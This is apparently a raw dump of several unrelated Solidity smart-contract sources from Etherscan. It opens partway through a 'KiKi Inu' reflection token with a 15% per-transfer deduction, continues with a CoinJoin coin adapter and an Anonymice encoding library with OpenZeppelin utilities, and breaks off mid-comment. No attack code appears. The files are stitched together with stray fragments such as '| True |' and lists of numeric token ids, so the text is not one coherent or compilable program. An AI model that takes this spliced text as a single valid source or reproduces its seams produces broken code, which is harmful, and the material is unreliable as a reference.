* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract KiKi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tBurnTotal;
string private _name = 'KiKi Inu';
string private _symbol = 'KiKiInu';
uint8 private _decimals = 18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tBurnTotal = _tBurnTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private {
_rTotal = _rTotal.sub(rFee);
_tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) {
uint256[12] memory _localVal;
(_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/,_localVal[10]/**tLiquidity*/) = _getTValues(tAmount);
_localVal[3] /**currentRate*/ = _getRate();
( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/,_localVal[11]/**rLiquidity*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8],_localVal[10]);
return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256,uint256) {
uint256[5] memory _localVal;
_localVal[0]/**supply*/ = tAmount.div(100).mul(0);
_localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(0);
_localVal[2]/**tholder*/ = tAmount.div(100).mul(1 );
_localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(15);
_localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]).sub(_localVal[3]);
return (_localVal[4], _localVal[2], _localVal[1],_localVal[0], _localVal[3]);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax,uint tLiquidity) private pure returns (uint256, uint256, uint256,uint256,uint256,uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurnValue = tBurnValue.mul(currentRate);
uint256 rLiqidity = tLiquidity.mul(currentRate);
uint256 rTax = tTax.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax).sub(rLiqidity);
return (rAmount, rTransferAmount, rFee, rBurnValue,rTax,rLiqidity);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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2121,
1010,
21318,
3372,
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102
] | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-02-14
*/
/**
*Submitted for verification at Etherscan.io on 2021-02-02
*/
/// BasicTokenAdapters.sol
// Copyright (C) 2018 Rain <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
abstract contract CollateralLike {
function decimals() virtual public view returns (uint256);
function transfer(address,uint256) virtual public returns (bool);
function transferFrom(address,address,uint256) virtual public returns (bool);
}
abstract contract DSTokenLike {
function mint(address,uint256) virtual external;
function burn(address,uint256) virtual external;
}
abstract contract SAFEEngineLike {
function modifyCollateralBalance(bytes32,address,int256) virtual external;
function transferInternalCoins(address,address,uint256) virtual external;
}
contract CoinJoin {
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "CoinJoin/account-not-authorized");
_;
}
// SAFE database
SAFEEngineLike public safeEngine;
// Coin created by the system; this is the external, ERC-20 representation, not the internal 'coinBalance'
DSTokenLike public systemCoin;
// Whether this contract is enabled or not
uint256 public contractEnabled;
// Number of decimals the system coin has
uint256 public decimals;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event DisableContract();
event Join(address sender, address account, uint256 wad);
event Exit(address sender, address account, uint256 wad);
constructor(address safeEngine_, address systemCoin_) public {
authorizedAccounts[msg.sender] = 1;
contractEnabled = 1;
safeEngine = SAFEEngineLike(safeEngine_);
systemCoin = DSTokenLike(systemCoin_);
decimals = 18;
emit AddAuthorization(msg.sender);
}
/**
* @notice Disable this contract
*/
function disableContract() external isAuthorized {
contractEnabled = 0;
emit DisableContract();
}
uint256 constant RAY = 10 ** 27;
function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "CoinJoin/mul-overflow");
}
/**
* @notice Join system coins in the system
* @dev Exited coins have 18 decimals but inside the system they have 45 (rad) decimals.
When we join, the amount (wad) is multiplied by 10**27 (ray)
* @param account Account that will receive the joined coins
* @param wad Amount of external coins to join (18 decimal number)
**/
function join(address account, uint256 wad) external {
safeEngine.transferInternalCoins(address(this), account, multiply(RAY, wad));
systemCoin.burn(msg.sender, wad);
emit Join(msg.sender, account, wad);
}
/**
* @notice Exit system coins from the system and inside 'Coin.sol'
* @dev Inside the system, coins have 45 (rad) decimals but outside they have 18 decimals (wad).
When we exit, we specify a wad amount of coins and then the contract automatically multiplies
wad by 10**27 to move the correct 45 decimal coin amount to this adapter
* @param account Account that will receive the exited coins
* @param wad Amount of internal coins to join (18 decimal number that will be multiplied by ray)
**/
function exit(address account, uint256 wad) external {
require(contractEnabled == 1, "CoinJoin/contract-not-enabled");
safeEngine.transferInternalCoins(msg.sender, address(this), multiply(RAY, wad));
systemCoin.mint(account, wad);
emit Exit(msg.sender, account, wad);
}
} | True | [
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1
] |
/**
*Submitted for verification at Etherscan.io on 2021-10-26
*/
// File: contracts/AnonymiceLibrary.sol
pragma solidity ^0.8.0;
library AnonymiceLibrary {
string internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return "";
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {
} lt(dataPtr, endPtr) {
} {
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(input, 0x3F))))
)
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
}
return result;
}
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function parseInt(string memory _a)
internal
pure
returns (uint8 _parsedInt)
{
bytes memory bresult = bytes(_a);
uint8 mint = 0;
for (uint8 i = 0; i < bresult.length; i++) {
if (
(uint8(uint8(bresult[i])) >= 48) &&
(uint8(uint8(bresult[i])) <= 57)
) {
mint *= 10;
mint += uint8(bresult[i]) - 48;
}
}
return mint;
}
function substring(
string memory str,
uint256 startIndex,
uint256 endIndex
) internal pure returns (string memory) {
bytes memory strBytes = bytes(str);
bytes memory result = new bytes(endIndex - startIndex);
for (uint256 i = startIndex; i < endIndex; i++) {
result[i - startIndex] = strBytes[i];
}
return string(result);
}
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
